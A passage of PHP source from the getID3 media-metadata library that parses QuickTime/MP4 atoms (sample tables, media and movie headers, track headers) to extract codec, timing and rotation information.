										$atom_structure['sample_description_table'][$i]['subatoms'] = $this->QuicktimeParseContainerAtom(substr($atom_structure['sample_description_table'][$i]['data'], 20), $baseoffset + $stsdEntriesDataOffset - 20 - 16, $atomHierarchy, $ParseAllPossibleAtoms);

										$info['quicktime']['audio']['codec']       = $this->QuicktimeAudioCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
										$info['quicktime']['audio']['sample_rate'] = $atom_structure['sample_description_table'][$i]['audio_sample_rate'];
										$info['quicktime']['audio']['channels']    = $atom_structure['sample_description_table'][$i]['audio_channels'];
										$info['quicktime']['audio']['bit_depth']   = $atom_structure['sample_description_table'][$i]['audio_bit_depth'];
										$info['audio']['codec']                    = $info['quicktime']['audio']['codec'];
										$info['audio']['sample_rate']              = $info['quicktime']['audio']['sample_rate'];
										$info['audio']['channels']                 = $info['quicktime']['audio']['channels'];
										$info['audio']['bits_per_sample']          = $info['quicktime']['audio']['bit_depth'];
										switch ($atom_structure['sample_description_table'][$i]['data_format']) {
											case 'raw ': // PCM
											case 'alac': // Apple Lossless Audio Codec
											case 'sowt': // signed/two's complement (Little Endian)
											case 'twos': // signed/two's complement (Big Endian)
											case 'in24': // 24-bit Integer
											case 'in32': // 32-bit Integer
											case 'fl32': // 32-bit Floating Point
											case 'fl64': // 64-bit Floating Point
												$info['audio']['lossless'] = $info['quicktime']['audio']['lossless'] = true;
												$info['audio']['bitrate']  = $info['quicktime']['audio']['bitrate']  = $info['audio']['channels'] * $info['audio']['bits_per_sample'] * $info['audio']['sample_rate'];
												break;
											default:
												$info['audio']['lossless'] = false;
												break;
										}
										break;

									default:
										break;
								}
								break;

							default:
								switch ($atom_structure['sample_description_table'][$i]['data_format']) {
									case 'mp4s':
										$info['fileformat'] = 'mp4';
										break;

									default:
										// video atom
										$atom_structure['sample_description_table'][$i]['video_temporal_quality']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'],  8,  4));
										$atom_structure['sample_description_table'][$i]['video_spatial_quality']   =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 12,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_width']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 16,  2));
										$atom_structure['sample_description_table'][$i]['video_frame_height']      =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 18,  2));
										$atom_structure['sample_description_table'][$i]['video_resolution_x']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 20,  4));
										$atom_structure['sample_description_table'][$i]['video_resolution_y']      = getid3_lib::FixedPoint16_16(substr($atom_structure['sample_description_table'][$i]['data'], 24,  4));
										$atom_structure['sample_description_table'][$i]['video_data_size']         =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 28,  4));
										$atom_structure['sample_description_table'][$i]['video_frame_count']       =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 32,  2));
										$atom_structure['sample_description_table'][$i]['video_encoder_name_len']  =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 34,  1));
										$atom_structure['sample_description_table'][$i]['video_encoder_name']      =                             substr($atom_structure['sample_description_table'][$i]['data'], 35, $atom_structure['sample_description_table'][$i]['video_encoder_name_len']);
										$atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 66,  2));
										$atom_structure['sample_description_table'][$i]['video_color_table_id']    =   getid3_lib::BigEndian2Int(substr($atom_structure['sample_description_table'][$i]['data'], 68,  2));

										$atom_structure['sample_description_table'][$i]['video_pixel_color_type']  = (((int) $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'] > 32) ? 'grayscale' : 'color');
										$atom_structure['sample_description_table'][$i]['video_pixel_color_name']  = $this->QuicktimeColorNameLookup($atom_structure['sample_description_table'][$i]['video_pixel_color_depth']);

										if ($atom_structure['sample_description_table'][$i]['video_pixel_color_name'] != 'invalid') {
											$info['quicktime']['video']['codec_fourcc']        = $atom_structure['sample_description_table'][$i]['data_format'];
											$info['quicktime']['video']['codec_fourcc_lookup'] = $this->QuicktimeVideoCodecLookup($atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['codec']               = (((int) $atom_structure['sample_description_table'][$i]['video_encoder_name_len'] > 0) ? $atom_structure['sample_description_table'][$i]['video_encoder_name'] : $atom_structure['sample_description_table'][$i]['data_format']);
											$info['quicktime']['video']['color_depth']         = $atom_structure['sample_description_table'][$i]['video_pixel_color_depth'];
											$info['quicktime']['video']['color_depth_name']    = $atom_structure['sample_description_table'][$i]['video_pixel_color_name'];

											$info['video']['codec']           = $info['quicktime']['video']['codec'];
											$info['video']['bits_per_sample'] = $info['quicktime']['video']['color_depth'];
										}
										$info['video']['lossless']           = false;
										$info['video']['pixel_aspect_ratio'] = (float) 1;
										break;
								}
								break;
						}
						switch (strtolower($atom_structure['sample_description_table'][$i]['data_format'])) {
							case 'mp4a':
								$info['audio']['dataformat']         = 'mp4';
								$info['quicktime']['audio']['codec'] = 'mp4';
								break;

							case '3ivx':
							case '3iv1':
							case '3iv2':
								$info['video']['dataformat'] = '3ivx';
								break;

							case 'xvid':
								$info['video']['dataformat'] = 'xvid';
								break;

							case 'mp4v':
								$info['video']['dataformat'] = 'mpeg4';
								break;

							case 'divx':
							case 'div1':
							case 'div2':
							case 'div3':
							case 'div4':
							case 'div5':
							case 'div6':
								$info['video']['dataformat'] = 'divx';
								break;

							default:
								// do nothing
								break;
						}
						unset($atom_structure['sample_description_table'][$i]['data']);
					}
					break;


				case 'stts': // Sample Table Time-to-Sample atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$sttsEntriesDataOffset = 8;
					//$FrameRateCalculatorArray = array();
					$frames_count = 0;

					$max_stts_entries_to_scan = ($info['php_memory_limit'] ? min(floor($this->getid3->memory_limit / 10000), $atom_structure['number_entries']) : $atom_structure['number_entries']);
					if ($max_stts_entries_to_scan < $atom_structure['number_entries']) {
						$this->warning('QuickTime atom "stts" has '.$atom_structure['number_entries'].' but only scanning the first '.$max_stts_entries_to_scan.' entries due to limited PHP memory available ('.floor($this->getid3->memory_limit / 1048576).'MB).');
					}
					for ($i = 0; $i < $max_stts_entries_to_scan; $i++) {
						$atom_structure['time_to_sample_table'][$i]['sample_count']    = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;
						$atom_structure['time_to_sample_table'][$i]['sample_duration'] = getid3_lib::BigEndian2Int(substr($atom_data, $sttsEntriesDataOffset, 4));
						$sttsEntriesDataOffset += 4;

						$frames_count += $atom_structure['time_to_sample_table'][$i]['sample_count'];

						// THIS SECTION REPLACED WITH CODE IN "stbl" ATOM
						//if (!empty($info['quicktime']['time_scale']) && ($atom_structure['time_to_sample_table'][$i]['sample_duration'] > 0)) {
						//	$stts_new_framerate = $info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'];
						//	if ($stts_new_framerate <= 60) {
						//		// some atoms have durations of "1" giving a very large framerate, which probably is not right
						//		$info['video']['frame_rate'] = max($info['video']['frame_rate'], $stts_new_framerate);
						//	}
						//}
						//
						//$FrameRateCalculatorArray[($info['quicktime']['time_scale'] / $atom_structure['time_to_sample_table'][$i]['sample_duration'])] += $atom_structure['time_to_sample_table'][$i]['sample_count'];
					}
					$info['quicktime']['stts_framecount'][] = $frames_count;
					//$sttsFramesTotal  = 0;
					//$sttsSecondsTotal = 0;
					//foreach ($FrameRateCalculatorArray as $frames_per_second => $frame_count) {
					//	if (($frames_per_second > 60) || ($frames_per_second < 1)) {
					//		// not video FPS information, probably audio information
					//		$sttsFramesTotal  = 0;
					//		$sttsSecondsTotal = 0;
					//		break;
					//	}
					//	$sttsFramesTotal  += $frame_count;
					//	$sttsSecondsTotal += $frame_count / $frames_per_second;
					//}
					//if (($sttsFramesTotal > 0) && ($sttsSecondsTotal > 0)) {
					//	if (($sttsFramesTotal / $sttsSecondsTotal) > $info['video']['frame_rate']) {
					//		$info['video']['frame_rate'] = $sttsFramesTotal / $sttsSecondsTotal;
					//	}
					//}
					break;


				case 'stss': // Sample Table Sync Sample (key frames) atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stssEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['time_to_sample_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stssEntriesDataOffset, 4));
							$stssEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsc': // Sample Table Sample-to-Chunk atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stscEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['sample_to_chunk_table'][$i]['first_chunk']        = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['samples_per_chunk']  = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
							$atom_structure['sample_to_chunk_table'][$i]['sample_description'] = getid3_lib::BigEndian2Int(substr($atom_data, $stscEntriesDataOffset, 4));
							$stscEntriesDataOffset += 4;
						}
					}
					break;


				case 'stsz': // Sample Table SiZe atom
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['sample_size']    = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
						$stszEntriesDataOffset = 12;
						if ($atom_structure['sample_size'] == 0) {
							for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
								$atom_structure['sample_size_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stszEntriesDataOffset, 4));
								$stszEntriesDataOffset += 4;
							}
						}
					}
					break;


				case 'stco': // Sample Table Chunk Offset atom
//					if (true) {
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 4));
							$stcoEntriesDataOffset += 4;
						}
					}
					break;


				case 'co64': // Chunk Offset 64-bit (version of "stco" that supports > 2GB files)
					if ($ParseAllPossibleAtoms) {
						$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
						$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
						$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
						$stcoEntriesDataOffset = 8;
						for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
							$atom_structure['chunk_offset_table'][$i] = getid3_lib::BigEndian2Int(substr($atom_data, $stcoEntriesDataOffset, 8));
							$stcoEntriesDataOffset += 8;
						}
					}
					break;


				case 'dref': // Data REFerence atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$drefDataOffset = 8;
					for ($i = 0; $i < $atom_structure['number_entries']; $i++) {
						$atom_structure['data_references'][$i]['size']                    = getid3_lib::BigEndian2Int(substr($atom_data, $drefDataOffset, 4));
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['type']                    =                           substr($atom_data, $drefDataOffset, 4);
						$drefDataOffset += 4;
						$atom_structure['data_references'][$i]['version']                 = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 1));
						$drefDataOffset += 1;
						$atom_structure['data_references'][$i]['flags_raw']               = getid3_lib::BigEndian2Int(substr($atom_data,  $drefDataOffset, 3)); // hardcoded: 0x0000
						$drefDataOffset += 3;
						$atom_structure['data_references'][$i]['data']                    =                           substr($atom_data, $drefDataOffset, ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3));
						$drefDataOffset += ($atom_structure['data_references'][$i]['size'] - 4 - 4 - 1 - 3);

						$atom_structure['data_references'][$i]['flags']['self_reference'] = (bool) ($atom_structure['data_references'][$i]['flags_raw'] & 0x001);
					}
					break;


				case 'gmin': // base Media INformation atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
					break;


				case 'smhd': // Sound Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					break;


				case 'vmhd': // Video Media information HeaDer atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));

					$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
					break;


				case 'hdlr': // HanDLeR reference atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_name']         = $this->MaybePascal2String(substr($atom_data, 24));

					if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
						$info['video']['dataformat'] = 'quicktimevr';
					}
					break;


				case 'mdhd': // MeDia HeaDer atom
					$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
					$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mdhd.time_scale == zero');
						return false;
					}
					$info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);

					$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
					$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					break;


				case 'pnot': // Preview atom
					$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
					$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
					$atom_structure['atom_type']              =                           substr($atom_data,  6, 4);        // usually: 'PICT'
					$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01

					$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modification_date_unix'];
					break;


				case 'crgn': // Clipping ReGioN atom
					$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
					$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
					$atom_structure['clipping_data'] =                           substr($atom_data, 10);           // constitute a QuickDraw region.
					break;


				case 'load': // track LOAD settings atom
					$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));

					$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
					$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
					break;


				case 'tmcd': // TiMe CoDe atom
				case 'chap': // CHAPter list atom
				case 'sync': // SYNChronization atom
				case 'scpt': // tranSCriPT atom
				case 'ssrc': // non-primary SouRCe atom
					for ($i = 0; $i < strlen($atom_data); $i += 4) {
						@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				case 'elst': // Edit LiST atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
						$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
						$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
						$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
					}
					break;


				case 'kmat': // compressed MATte atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
					break;


				case 'ctab': // Color TABle atom
					$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
					$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
					$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
					for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
						$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
						$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
						$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
						$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
					}
					break;


				case 'mvhd': // MoVie HeaDer atom
					$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
					$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
					$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
					$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
					$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
					$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
					$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
					$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
					$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
					$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
					$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
					$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
					$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
					$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
					$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
					$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mvhd.time_scale == zero');
						return false;
					}
					$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					$info['quicktime']['time_scale']    = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
					$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
					$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
					break;


				case 'tkhd': // TracK HeaDer atom
					$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
					$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
					$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
					$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
					$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
					// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
					// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
					$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
					$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
					$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
					$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
					$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
					$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
					$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
					$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
					$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
					$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
					$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
					$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
					$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];

					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					// attempt to compute rotation from matrix values
					// 2017-Dec-28: uncertain if 90/270 are correctly oriented; values returned by FixedPoint16_16 should perhaps be -1 instead of 65535(?)
					$matrixRotation = 0;
					switch ($atom_structure['matrix_a'].':'.$atom_structure['matrix_b'].':'.$atom_structure['matrix_c'].':'.$atom_structure['matrix_d']) {
						case '1:0:0:1':         $matrixRotation =   0; break;
						case '0:1:65535:0':     $matrixRotation =  90; break;
						case '65535:0:0:65535': $matrixRotation = 180; break;
						case '0:65535:1:0':     $matrixRotation = 270; break;
						default: break;
